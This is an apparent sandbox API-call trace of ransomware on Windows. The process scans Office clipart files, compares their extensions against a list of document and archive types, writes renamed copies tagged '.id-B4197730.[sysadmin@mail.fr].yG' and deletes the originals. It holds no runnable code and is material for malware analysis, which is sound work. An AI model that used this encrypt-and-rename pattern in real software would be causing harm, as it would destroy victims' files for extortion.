	[0150.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.315] lstrlenW (lpString=".jpg") returned 4
	[0150.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.316] lstrlenW (lpString=".doc") returned 4
	[0150.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.316] lstrlenW (lpString=".docx") returned 5
	[0150.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.316] lstrlenW (lpString=".pdf") returned 4
	[0150.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.316] lstrlenW (lpString=".xls") returned 4
	[0150.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.316] lstrlenW (lpString=".xlsx") returned 5
	[0150.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.316] lstrlenW (lpString=".ppt") returned 4
	[0150.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.316] lstrlenW (lpString=".zip") returned 4
	[0150.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.316] lstrlenW (lpString=".rar") returned 4
	[0150.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.316] lstrlenW (lpString=".bz2") returned 4
	[0150.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.316] lstrlenW (lpString=".7z") returned 3
	[0150.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.316] lstrlenW (lpString=".dbf") returned 4
	[0150.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.317] lstrlenW (lpString=".1cd") returned 4
	[0150.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.317] lstrlenW (lpString=".jpg") returned 4
	[0150.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.317] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.317] lstrlenW (lpString="HH00636_.WMF") returned 12
	[0150.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.318] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1568) returned 1
	[0150.318] CloseHandle (hObject=0x554) returned 1
	[0150.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220
	[0150.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.319] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.320] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0150.321] GetLastError () returned 0x0
	[0150.321] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x620, lpOverlapped=0x0) returned 1
	[0150.335] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x630, lpOverlapped=0x0) returned 1
	[0150.336] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.336] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.336] SetEndOfFile (hFile=0x544) returned 1
	[0150.336] CloseHandle (hObject=0x544) returned 1
	[0150.336] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.337] SetEndOfFile (hFile=0x554) returned 1
	[0150.339] CloseHandle (hObject=0x554) returned 1
	[0150.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1
	[0150.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.341] lstrlenW (lpString=".doc") returned 4
	[0150.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.341] lstrlenW (lpString=".docx") returned 5
	[0150.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.341] lstrlenW (lpString=".pdf") returned 4
	[0150.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.341] lstrlenW (lpString=".xls") returned 4
	[0150.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.341] lstrlenW (lpString=".xlsx") returned 5
	[0150.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.341] lstrlenW (lpString=".ppt") returned 4
	[0150.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.341] lstrlenW (lpString=".zip") returned 4
	[0150.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.341] lstrlenW (lpString=".rar") returned 4
	[0150.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.342] lstrlenW (lpString=".bz2") returned 4
	[0150.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.342] lstrlenW (lpString=".7z") returned 3
	[0150.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.342] lstrlenW (lpString=".dbf") returned 4
	[0150.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.342] lstrlenW (lpString=".1cd") returned 4
	[0150.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.342] lstrlenW (lpString=".jpg") returned 4
	[0150.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.342] lstrlenW (lpString=".doc") returned 4
	[0150.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.342] lstrlenW (lpString=".docx") returned 5
	[0150.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.342] lstrlenW (lpString=".pdf") returned 4
	[0150.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.342] lstrlenW (lpString=".xls") returned 4
	[0150.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.342] lstrlenW (lpString=".xlsx") returned 5
	[0150.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.342] lstrlenW (lpString=".ppt") returned 4
	[0150.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.343] lstrlenW (lpString=".zip") returned 4
	[0150.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.343] lstrlenW (lpString=".rar") returned 4
	[0150.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.343] lstrlenW (lpString=".bz2") returned 4
	[0150.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.343] lstrlenW (lpString=".7z") returned 3
	[0150.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.343] lstrlenW (lpString=".dbf") returned 4
	[0150.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.343] lstrlenW (lpString=".1cd") returned 4
	[0150.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0150.343] lstrlenW (lpString=".jpg") returned 4
	[0150.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.343] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.343] lstrlenW (lpString="HH00669_.WMF") returned 12
	[0150.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.345] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=11490) returned 1
	[0150.345] CloseHandle (hObject=0x554) returned 1
	[0150.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220
	[0150.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.346] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.346] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0150.347] GetLastError () returned 0x0
	[0150.347] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2ce2, lpOverlapped=0x0) returned 1
	[0150.357] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0150.358] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.358] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.358] SetEndOfFile (hFile=0x544) returned 1
	[0150.358] CloseHandle (hObject=0x544) returned 1
	[0150.358] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.358] SetEndOfFile (hFile=0x554) returned 1
	[0150.361] CloseHandle (hObject=0x554) returned 1
	[0150.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1
	[0150.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.363] lstrlenW (lpString=".doc") returned 4
	[0150.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.363] lstrlenW (lpString=".docx") returned 5
	[0150.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.363] lstrlenW (lpString=".pdf") returned 4
	[0150.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.363] lstrlenW (lpString=".xls") returned 4
	[0150.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.363] lstrlenW (lpString=".xlsx") returned 5
	[0150.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.363] lstrlenW (lpString=".ppt") returned 4
	[0150.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.363] lstrlenW (lpString=".zip") returned 4
	[0150.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.363] lstrlenW (lpString=".rar") returned 4
	[0150.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.363] lstrlenW (lpString=".bz2") returned 4
	[0150.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.363] lstrlenW (lpString=".7z") returned 3
	[0150.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.363] lstrlenW (lpString=".dbf") returned 4
	[0150.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.364] lstrlenW (lpString=".1cd") returned 4
	[0150.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.364] lstrlenW (lpString=".jpg") returned 4
	[0150.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.364] lstrlenW (lpString=".doc") returned 4
	[0150.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.364] lstrlenW (lpString=".docx") returned 5
	[0150.364] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.364] lstrlenW (lpString=".pdf") returned 4
	[0150.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.364] lstrlenW (lpString=".xls") returned 4
	[0150.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.364] lstrlenW (lpString=".xlsx") returned 5
	[0150.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.364] lstrlenW (lpString=".ppt") returned 4
	[0150.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.364] lstrlenW (lpString=".zip") returned 4
	[0150.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.364] lstrlenW (lpString=".rar") returned 4
	[0150.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.365] lstrlenW (lpString=".bz2") returned 4
	[0150.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.365] lstrlenW (lpString=".7z") returned 3
	[0150.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.365] lstrlenW (lpString=".dbf") returned 4
	[0150.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.365] lstrlenW (lpString=".1cd") returned 4
	[0150.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0150.365] lstrlenW (lpString=".jpg") returned 4
	[0150.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.365] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.365] lstrlenW (lpString="HH00681_.WMF") returned 12
	[0150.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.416] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=9300) returned 1
	[0150.416] CloseHandle (hObject=0x554) returned 1
	[0150.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220
	[0150.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0150.684] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.684] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0150.685] GetLastError () returned 0x0
	[0150.685] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2454, lpOverlapped=0x0) returned 1
	[0150.687] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2460, lpOverlapped=0x0) returned 1
	[0150.688] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.688] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.688] SetEndOfFile (hFile=0x548) returned 1
	[0150.689] CloseHandle (hObject=0x548) returned 1
	[0150.689] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.689] SetEndOfFile (hFile=0x54c) returned 1
	[0150.692] CloseHandle (hObject=0x54c) returned 1
	[0150.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1
	[0150.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.694] lstrlenW (lpString=".doc") returned 4
	[0150.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.694] lstrlenW (lpString=".docx") returned 5
	[0150.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.694] lstrlenW (lpString=".pdf") returned 4
	[0150.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.694] lstrlenW (lpString=".xls") returned 4
	[0150.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.694] lstrlenW (lpString=".xlsx") returned 5
	[0150.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.694] lstrlenW (lpString=".ppt") returned 4
	[0150.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.695] lstrlenW (lpString=".zip") returned 4
	[0150.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.695] lstrlenW (lpString=".rar") returned 4
	[0150.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.695] lstrlenW (lpString=".bz2") returned 4
	[0150.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.695] lstrlenW (lpString=".7z") returned 3
	[0150.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.695] lstrlenW (lpString=".dbf") returned 4
	[0150.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.695] lstrlenW (lpString=".1cd") returned 4
	[0150.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
